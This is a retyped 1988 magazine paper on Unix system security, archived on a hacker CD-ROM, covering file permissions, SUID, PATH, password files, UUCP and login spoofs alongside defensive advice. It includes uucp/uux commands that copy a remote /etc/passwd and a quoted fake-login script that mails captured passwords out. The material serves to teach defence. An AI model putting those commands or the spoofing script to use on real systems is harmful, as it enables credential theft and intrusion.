home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / unixsec.txt < prev    next >
Encoding:
Text File  |  2003-06-11  |  26.6 KB  |  500 lines

  1.  
  2.                   +--------------------------------------+
  3.                   |     "Unix System Security Issues"    |
  4.                   |              Typed by:               |
  5.                   |               Whisky                 |
  6.                   |         (from Holland, Europe)       |
  7.                   +--------------------------------------+
  8.                   |                 From                 |
  9.                   |            Information Age           |
  10.                   |     Vol. 11, Number 2, April 1988    |
  11.                   |              Written By:             |
  12.                   | Michael J. Knox and Edward D. Bowden |
  13.                   +--------------------------------------+
  14.  
  15. Note:  This file was sent to me from a friend in Holland. I felt
  16.        that it would be a good idea to present this file to the
  17.        UNIX-hacker community, to show that hackers don't always
  18.        harm systems, but sometimes look for ways to secure flaws
  19.        in existing systems.  -- Jester Sluggo !!
  20.  
  21. There are a number of elements that have lead to the popularity of the
  22. Unix operating system in the world today. The most notable factors are
  23. its portability among hardware platforms and the interactive programming
  24. environment that it offers to users. In fact, these elements have had
  25. much to do with the succesful evolution of the Unix system in the
  26. commercial market place. (1, 2)
  27.   As the Unix system expands further into industry and government, the
  28. need to handle Unix system security will no doubt become imperative. For
  29. example, the US government is committing several millon dollars a year
  30. for the Unix system and its supported hardware. (1) The security
  31. requirements for the government are tremendous, and one can only guess
  32. at the future needs of security in industry.
  33.   In this paper, we will cover some of the more fundamental security
  34. risks in the Unix system. Discussed are common causes of Unix system
  35. compromise in such areas as file protecion, password security,
  36. networking and hacker violations. In our conclusion, we will comment
  37. upon ongoing effects in Unix system security, and their direct influence
  38. on the portability of the Unix operating system.
  39.  
  40. FILE AND DIRECTORY SECURITY
  41.  
  42. In the Unix operating system environment, files and directories are
  43. organized in a tree structure with specific access modes. The setting of
  44. these modes, through permission bits (as octal digits), is the basis of
  45. Unix system security. Permission bits determine how users can access
  46. files and the type of access they are allowed. There are three user
  47. access modes for all Unix system files and directories: the owner, the
  48. group, and others. Access to read, write and execute within each of the
  49. usertypes is also controlled by permission bits (Figure 1). Flexibility
  50. in file security is convenient, but it has been criticized as an area of
  51. system security compromise.
  52.  
  53.  
  54.                         Permission modes
  55. OWNER                        GROUP                    OTHERS
  56. ------------------------------------------------------------
  57. rwx            :             rwx            :         rwx
  58. ------------------------------------------------------------
  59. r=read  w=write  x=execute
  60.  
  61. -rw--w-r-x 1 bob csc532 70 Apr 23 20:10 file
  62. drwx------ 2 sam A1 2 May 01 12:01 directory
  63.  
  64. FIGURE 1.  File and directory modes: File shows Bob as the owner, with
  65. read and write permission. Group has write permission, while Others has
  66. read and execute permission. The directory gives a secure directory not
  67. readable, writeable, or executable by Group and Others.
  68.  
  69.  
  70.   Since the file protection mechanism is so important in the Unix
  71. operating system, it stands to reason that the proper setting of
  72. permission bits is required for overall security. Aside from user
  73. ignorance, the most common area of file compromise has to do with the
  74. default setting of permission bits at file creation. In some systems the
  75. default is octal 644, meaning that only the file owner can write and
  76. read to a file, while all others can only read it. (3) In many "open"
  77. environments this may be acceptable. However, in cases where sensitive
  78. data is present, the access for reading by others should be turned off.
  79. The file utility umask does in fact satisfy this requirement. A
  80. suggested setting, umask 027, would enable all permission for the file
  81. owner, disable write permission to the group, and disable permissions
  82. for all others (octal 750). By inserting this umask command in a user
  83. .profile or .login file, the default will be overritten by the new
  84. settings at file creation.
  85.   The CHMOD utility can be used to modify permission settings on files
  86. and directories. Issuing the following command,
  87.  
  88. chmod u+rwd,g+rw,g-w,u-rwx file
  89.  
  90. will provide the file with the same protection as the umask above
  91. (octal 750). Permission bits can be relaxed with chmod at a later
  92. time, but at least initially, the file structure can be made secure
  93. using a restrictive umask.
  94.   By responsible application of such utilities as umask and chmod, users
  95. can enhance file system security. The Unix system, however, restricts
  96. the security defined by the user to only owner, group and others. Thus,
  97. the owner of the file cannot designate file access to specific users. As
  98. Kowack and Healy have pointed out, "The granularity of control that
  99. (file security) mechanisms is often insufficient in practice (...) it is
  100. not possible to grant one user write protection to a directory while
  101. granting another read permission to the same directory. (4) A useful
  102. file security file security extension to the Unix system might be
  103. Multics style access control lists.
  104.   With access mode vulnerabilities in mind, users should pay close
  105. attention to files and directories under their control, and correct
  106. permissions whenever possible. Even with the design limitations in mode
  107. granularity, following a safe approach will ensure a more secure Unix
  108. system file structure.
  109.  
  110. SUID and SGID
  111.  
  112. The set user id (suid) and set group id (sgid) identify the user and
  113. group ownership of a file. By setting the suid or sgid permission bits
  114. of an executable file, other users can gain acces to the same resources
  115. (via the executable file) as that of the real file's owner.
  116.  
  117. For Example:
  118.  
  119. Let Bob's program bob.x be an executable file accessible to others. When
  120. Mary executes bob.x, Mary becomes the new program owner. If during
  121. program execution bob.x requests access to file browse.txt, then Mary
  122. must have previous read or write permission to browse.txt. This would
  123. allow Mary and everyone else total access to the contents of browse.txt,
  124. even when she is not running bob.x. By turning on the suid bit of bob.x,
  125. Mary will have the same access permissions to browse.txt as does the
  126. program's real owner, but she will only have access to browse.txt during
  127. the execution of bob.x. Hence, by incorperating suid or sgid, unwelcome
  128. browsers will be prevented form accessing files like browse.txt
  129.  
  130.   Although this feature appears to offer substantial access control to
  131. Unix system files, it does have one critical drawback. There is always
  132. the chance that the superuser (system administrator) may have a writable
  133. file for others that is also set with suid. With some modification in
  134. the file's code (by a hacker), an executable file like this would enable
  135. a user to become a superuser. Within a short period of time this
  136. violator could completely compromise system security and make it
  137. inaccessible, even to other superusers. As Farrow (5) puts it, "(...)
  138. having a set-user-id copy of the shell owned by root is better than
  139. knowing the root password".
  140.   To compensate for this security threat, writable suid files should be
  141. sought out and eliminated by the system administrator. Reporting of such
  142. files by normal users is also essential in correcting existing security
  143. breaches.
  144.  
  145. DIRECTORIES
  146.  
  147. Directory protection is commonly overlooked component of file security
  148. in the Unix system. Many system administrators and users are unaware of
  149. the fact, that "publicly writable directories provide the most
  150. opportunities for compromising the Unix system security" (6).
  151. Administrators tend to make these "open" for users to move around and
  152. access public files and utilities. This can be disastrous, since files
  153. and other subdirectories within writable directories can be moved out
  154. and replaced with different versions, even if contained files are
  155. unreadable or unwritable to others. When this happens, an unscrupulous
  156. user or a "password breaker" may supplant a Trojan horse of a commonly
  157. used system utility (e.g. ls, su, mail and so on). For example, imagine
  158.  
  159. For example:
  160.  
  161. Imagine that the /bin directory is publicly writable. The perpetrator
  162. could first remove the old su version (with rm utility) and then
  163. include his own fake su to read the password of users who execute
  164. this utility.
  165.  
  166.   Although writable directories can destroy system integrity, readable
  167. ones can be just as damaging. Sometimes files and directories are
  168. configured to permit read access by other. This subtle convenience can
  169. lead to unauthorized disclosure of sensitive data: a serious matter when
  170. valuable information is lost to a business competitor.
  171.   As a general rule, therefore, read and write access should be removed
  172. from all but system administrative directories. Execute permission will
  173. allow access to needed files; however, users might explicitly name the
  174. file they wish to use. This adds some protection to unreadable and
  175. unwritable directories. So, programs like lp file.x in an unreadable
  176. directory /ddr will print the contents of file.x, while ls/ddr would not
  177. list the contents of that directory.
  178.  
  179. PATH VARIABLE
  180.  
  181. PATH is an environment variable that points to a list of directories,
  182. which are searched when a file is requested by a process. The order of
  183. that search is indicated by the sequence of the listed directories in
  184. the PATH name. This variable is established at user logon and is set up
  185. in the users .profile of .login file.
  186.   If a user places the current directory as the first entry in PATH,
  187. then programs in the current directory will be run first. Programs in
  188. other directories with the same name will be ignored. Although file and
  189. directory access is made easier with a PATH variable set up this way, it
  190. may expose the user to pre-existing Trojan horses.
  191.   To illustrate this, assume that a trojan horse, similar to the cat
  192. utility, contains an instruction that imparts access privileges to a
  193. perpetrator. The fake cat is placed in a public directory /usr/his
  194. where a user often works. Now if the user has a PATH variable with the
  195. current directory first, and he enters the cat command while in
  196. /usr/his, the fake cat in /usr/his would be executed but not the system
  197. cat located in /bin.
  198.   In order to prevent this kind of system violation, the PATH variable
  199. must be correctly set. First, if at all possible, exclude the current
  200. directory as the first entry in the PATH variable and type the full path
  201. name when invoking Unix system commands. This enhances file security,
  202. but is more cumbersome to work with. Second, if the working directory
  203. must be included in the PATH variable, then it should always be listed
  204. last. In this way, utilities like vi, cat, su and ls will be executed
  205. first from systems directories like /bin and /usr/bin before searching
  206. the user's working directory.
  207.  
  208. PASSWORD SECURITY
  209.  
  210. User authentication in the Unix system is accomplished by personal
  211. passwords. Though passwords offer an additional level of security
  212. beyond physical constraints, they lend themselves to the greatest area
  213. of computer system compromise. Lack of user awareness and responsibility
  214. contributes largely to this form of computer insecurity. This is true of
  215. many computer facilities where password identification, authentication
  216. and authorization are required for the access of resources - and the
  217. Unix operating system is no exception.
  218.   Password information in many time-sharing systems are kept in
  219. restricted files that are not ordinarily readable by users. The Unix
  220. system differs in this respect, since it allows all users to have read
  221. access to the /etc/passwd file (FIGURE 2) where encrypted passwords and
  222. other user information are stored. Although the Unix system implements a
  223. one-way encryption method, and in most systems a modified version of the
  224. data encryption standard (DES), password breaking methods are known.
  225. Among these methods, brute-force attacks are generally the least
  226. effective, yet techniques involving the use of heuristics (good guesses
  227. and knowledge about passwords) tend to be successful. For example, the
  228. /etc/passwd file contains such useful information as the login name and
  229. comments fields. Login names are especially rewarding to the "password
  230. breaker" since many users will use login variants for passwords
  231. (backward spelling, the appending of a single digit etc.). The comment
  232. field often contains items such as surname, given name, address,
  233. telephone number, project name and so on. To quote Morris and Grampp (7)
  234. in their landmark paper on Unix system security:
  235.  
  236.   [in the case of logins]
  237.  
  238.   The authors made a survey of several dozen local machines, using as
  239.   trial passwords a collection of the 20 most common female first names,
  240.   each followed by a single digit. The total number of passwords tried was,
  241.   therefore, 200. At least one of these 200 passwords turned out to be a
  242.   valid password on every machine surveyed.
  243.  
  244.   [as for comment fields]
  245.  
  246.   (...) if an intruder knows something about the people using a machine,
  247.   a whole new set of candidates is available. Family and friend's names,
  248.   auto registration numbers, hobbies, and pets are particularly
  249.   productive categories to try interactively in the unlikely event that
  250.   a purely mechanical scan of the password file turns out to be
  251.   disappointing.
  252.  
  253. Thus, given a persistent system violator, there is a strong evidence,
  254. that he will find some information about users in the /etc/passwd file.
  255. With this in mind, it is obvious that a password file should be
  256. unreadable to everyone except those in charge of system administration.
  257.  
  258.  
  259. root:aN2z06ISmxKqQ:0:10:(Boss1),656-35-0989:/:/bin
  260. mike:9okduHy7sdLK8:09:122:No.992-3943:/usr:/bin
  261.  
  262. FIGURE 2.  The /etc/passwd file. Note the comments field as underlined
  263. terms.
  264.  
  265.  
  266.   Resolution of the /etc/passwd file's readability does not entirely
  267. solve the basic problem with passwords. Educating users and
  268. administrators is necessary to assure proper password utilization.
  269. First, "good passwords are those that are at least six characters long,
  270. aren't based on personal information, and have some nonalphabetic
  271. (especially control) characters in them: 4score, my_name, luv2run" (8).
  272. Secondly, passwords should be changed periodically but users should avoid
  273. alternating between two passwords. Different passwords for different
  274. machines and files will aid in protecting sensitive information.
  275. Finally, passwords should never be available to unauthorized users.
  276. Reduction of user ignorance about poor password choice will inevitably
  277. make a system more secure.
  278.  
  279. NETWORK SECURITY
  280.  
  281. UUCP system
  282. The most common Unix system network is the UUCP system, which is a group
  283. of programs that perform the file tranfers and command execution between
  284. remote systems. (3) The problem with the UUCP system is that users on
  285. the network may access other users' files without access permission. As
  286. stated by Nowitz (9),
  287.  
  288.   The uucp system, left unrestricted, will let any outside user execute
  289.   commands and copy in/out any file that is readable/writable by a uucp
  290.   login user. It is up to the individual sites to be aware of this, and
  291.   apply the protections that they feel free are necessary.
  292.  
  293. This emphasizes the importance of proper implementation by the system
  294. administrator.
  295.   There are four UUCP system commands to consider when looking into
  296. network security with the Unix system. The first is uucp, a command used
  297. to copy files between two Unix systems. If uucp is not properly
  298. implemented by the system administrator, any outside user can execute
  299. remote commands and copy files from another login user. If the file name
  300. on another system is known, one could use the uucp command to copy files
  301. from that system to their system. For example:
  302.  
  303.   %uucp system2!/main/src/hisfile myfile
  304.  
  305. will copy hisfile from system2 in the directory /main/src to the file
  306. myfile in the current local directory. If file transfer restrictions
  307. exist on either system, hisfile would not be sent. If there are no
  308. restrictions, any file could be copied from a remote user - including
  309. the password file. The following would copy the remote system
  310. /etc/passwd file to the local file thanks:
  311.  
  312.   %uucp system2!/etc/passwd thanks
  313.  
  314. System administrators can address the uucp matter by restricting uucp
  315. file transfers to the directory /user/spool/uucppublic. (8) If one tries
  316. to transfer a file anywhere else, a message will be returned saying
  317. "remote access to path/file denied" and no file transfer will occur.
  318.   The second UUCP system command to consider is the uux. Its function is
  319. to execute commands on remote Unix computers. This is called remote
  320. command execution and is most often used to send mail between systems
  321. (mail executes the uux command internally).
  322.   The ability to execute a command on another system introduces a
  323. serious security problem if remote command execution is not limited. As
  324. an example, a system should not allow users from another system to
  325. perform the following:
  326.  
  327.   %uux "system1!cat</etc/passwd>/usr/spool/uucppublic"
  328.  
  329. which would cause system1 to send its /etc/passwd file to the system2
  330. uucp public directory. The user of system2 would now have access to the
  331. password file. Therefore, only a few commands should be allowed to
  332. execute remotely. Often the only command allowed to run uux is rmail,
  333. the restricted mail program.
  334.   The third UUCP system function is the uucico (copy in / copy out)
  335. program. It performs the true communication work. Uucp or uux does not
  336. actually call up other systems; instead they are queued and the uucico
  337. program initiates the remote processes. The uucico program uses the file
  338. /usr/uucp/USERFILE to determine what files a remote system may send or
  339. receive. Checks for legal files are the basis for security in USERFILE.
  340. Thus the system administrator should carefully control this file.
  341.   In addition, USERFILE controls security between two Unix systems by
  342. allowing a call-back flag to be set. Therefore, some degree of security
  343. can be achieved by requiring a system to check if the remote system is
  344. legal before a call-back occurs.
  345.   The last UUCP function is the uuxqt. It controls the remote command
  346. execution. The uuxqt program uses the file /usr/lib/uucp/L.cmd to
  347. determine which commands will run in response to a remote execution
  348. request. For example, if one wishes to use the electronic mail feature,
  349. then the L.cmd file will contain the line rmail. Since uuxqt determines
  350. what commands will be allowed to execute remotely, commands which may
  351. compromise system security should not be included in L.cmd.
  352.  
  353. CALL THE UNIX SYSTEM
  354.  
  355. In addition to UUCP network commands, one should also be cautious of the
  356. cu command (call the Unix system). Cu permits a remote user to call
  357. another computer system. The problem with cu is that a user on a system
  358. with a weak security can use cu to connect to a more secure system and
  359. then install a Trojan horse on the stronger system. It is apparent that
  360. cu should not be used to go from a weaker system to a stronger one, and
  361. it is up to the system administrator to ensure that this never occurs.
  362.  
  363. LOCAL AREA NETWORKS
  364.  
  365. With the increased number of computers operating under the Unix system,
  366. some consideration must be given to local area networks (LANs). Because
  367. LANs are designed to transmit files between computers quickly, security
  368. has not been a priority with many LANs, but there are secure LANs under
  369. development. It is the job of the system manager to investigate security
  370. risks when employing LANs.
  371.  
  372. OTHER AREAS OF COMPROMISE
  373.  
  374. There are numerous methods used by hackers to gain entry into computer
  375. systems. In the Unix system, Trojan horses, spoofs and suids are the
  376. primary weapons used by trespassers.
  377.   Trojan horses are pieces of code or shell scripts which usually assume
  378. the role of a common utility but when activated by an unsuspecting user
  379. performs some unexpected task for the trespasser. Among the many
  380. different Trojan horses, it is the su masquerade that is the most
  381. dangerous to the Unix system.
  382.   Recall that the /etc/passwd file is readable to others, and also
  383. contains information about all users - even root users. Consider what a
  384. hacker could do if he were able to read this file and locate a root user
  385. with a writable directory. He might easily plant a fake su that would
  386. send the root password back to the hacker. A Trojan horse similar to
  387. this can often be avoided when various security measures are followed,
  388. that is, an etc/passwd file with limited read acces, controlling writable
  389. directories, and the PATH variable properly set.
  390.   A spoof is basically a hoax that causes an unsuspecting victim to
  391. believe that a masquerading computer funtion is actually a real system
  392. operation. A very popular spool in many computer systems is the
  393. terminal-login trap. By displaying a phoney login format, a hacker is
  394. able to capture the user's password.
  395.   Imagine that a root user has temporarily deserted his terminal. A
  396. hacker could quickly install a login process like the one described by
  397. Morris and Grampp (7):
  398.  
  399.   echo -n "login:"
  400.   read X
  401.   stty -echo
  402.   echo -n "password:"
  403.   read Y
  404.   echo ""
  405.   stty echo
  406.   echo %X%Y|mail outside|hacker&
  407.   sleep 1
  408.   echo Login incorrect
  409.   stty 0>/dev/tty
  410.  
  411. We see that the password of the root user is mailed to the hacker who
  412. has completely compromised the Unix system. The fake terminal-login acts
  413. as if the user has incorrectly entered the password. It then transfers
  414. control over to the stty process, thereby leaving no trace of its
  415. existence.
  416.   Prevention of spoofs, like most security hazards, must begin with user
  417. education. But an immediate solution to security is sometimes needed
  418. before education can be effected. As for terminal-login spoofs, there
  419. are some keyboard-locking programs that protect the login session while
  420. users are away from their terminals. (8, 10) These locked programs
  421. ignore keyboard-generated interrupts and wait for the user to enter a
  422. password to resume the terminal session.
  423.   Since the suid mode has been previously examined in the password
  424. section, we merely indicate some suid solutions here. First, suid
  425. programs should be used is there are no other alternatives. Unrestrained
  426. suids or sgids can lead to system compromise. Second, a "restricted
  427. shell" should be given to a process that escapes from a suid process to
  428. a child process. The reason for this is that a nonprivileged child
  429. process might inherit privileged files from its parents. Finally, suid
  430. files should be writable only by their owners, otherwise others may have
  431. access to overwrite the file contents.
  432.   It can be seen that by applying some basic security principles, a user
  433. can avoid Trojan horses, spoofs and inappropriate suids. There are
  434. several other techniques used by hackers to compromise system security,
  435. but the use of good judgement and user education may go far in
  436. preventing their occurence.
  437.  
  438. CONCLUSION
  439.  
  440. Throughout this paper we have discussed conventional approaches to Unix
  441. system security by way of practical file management, password
  442. protection, and networking. While it can be argued that user eduction is
  443. paramount in maintaining Unix system security (11) factors in human
  444. error will promote some degree of system insecurity. Advances in
  445. protection mechanisms through better-written software (12), centralized
  446. password control (13) and identification devices may result in enhanced
  447. Unix system security.
  448.   The question now asked applies to the future of Unix system operating.
  449. Can existing Unix systems accommodate the security requirements of
  450. government and industry? It appears not, at least for governmental
  451. security projects. By following the Orange Book (14), a government
  452. graded classification of secure computer systems, the Unix system is
  453. only as secure as the C1 criterion. A C1 system, which has a low
  454. security rating (D being the lowest) provides only discretionary
  455. security protection (DSP) against browsers or non-programmer users.
  456. Clearly this is insufficient as far as defense or proprietary security
  457. is concerned. What is needed are fundamental changes to the Unix
  458. security system. This has been recognized by at least three companies,
  459. AT&T, Gould and Honeywell (15, 16, 17). Gould, in particular, has made
  460. vital changes to the kernel and file system in order to produce a C2
  461. rated Unix operating system. To achieve this, however, they have had to
  462. sacrifice some of the portability of the Unix system. It is hoped that
  463. in the near future a Unix system with an A1 classification will be
  464. realized, though not at the expense of losing its valued portability.
  465.  
  466. REFERENCES
  467.  
  468. 1  Grossman, G R "How secure is 'secure'?" Unix Review Vol 4 no 8 (1986)
  469.    pp 50-63
  470. 2  Waite, M et al. "Unix system V primer" USA (1984)
  471. 3  Filipski, A and Hanko, J "Making Unix secure" Byte (April 1986) pp 113-128
  472. 4  Kowack, G and Healy, D "Can the holes be plugged?" Computerworld
  473.    Vol 18 (26 September 1984) pp 27-28
  474. 5  Farrow, R "Security issues and strategies for users" Unix/World
  475.    (April 1986) pp 65-71
  476. 6  Farrow, R "Security for superusers, or how to break the Unix system"
  477.    Unix/World (May 1986) pp 65-70
  478. 7  Grampp, F T and Morris, R H "Unix operating system security" AT&T Bell
  479.    Lab Tech. J. Vol 63 No 8 (1984) pp 1649-1672
  480. 8  Wood, P H and Kochan, S G "Unix system security" USA (1985)
  481. 9  Nowitz, D A "UUCP Implementation description: Unix programmer's manual
  482.    Sec. 2" AT&T Bell Laboratories, USA (1984)
  483. 10 Thomas, R "Securing your terminal: two approaches" Unix/World
  484.    (April 1986) pp 73-76
  485. 11 Karpinski, D "Security round table (Part 1)" Unix Review
  486.    (October 1984) p 48
  487. 12 Karpinski, D "Security round table (Part 2)" Unix Review
  488.    (October 1984) p 48
  489. 13 Lobel, J "Foiling the system breakers: computer security and access
  490.    control" McGraw-Hill, USA (1986)
  491. 14 National Computer Security Center "Department of Defense trusted
  492.    computer system evaluation criteria" CSC-STD-001-83, USA (1983)
  493. 15 Stewart, F "Implementing security under Unix" Systems&Software
  494.    (February 1986)
  495. 16 Schaffer, M and Walsh, G "Lock/ix: An implementation of Unix for the
  496.    Lock TCB" Proceedings of USENIX (1988)
  497. 17 Chuck, F "AT&T System 5/MLS Product 14 Strategy" AT&T Bell Labs,
  498.    Government System Division, USA (August 1987)
  499. ===============================================================================
  500.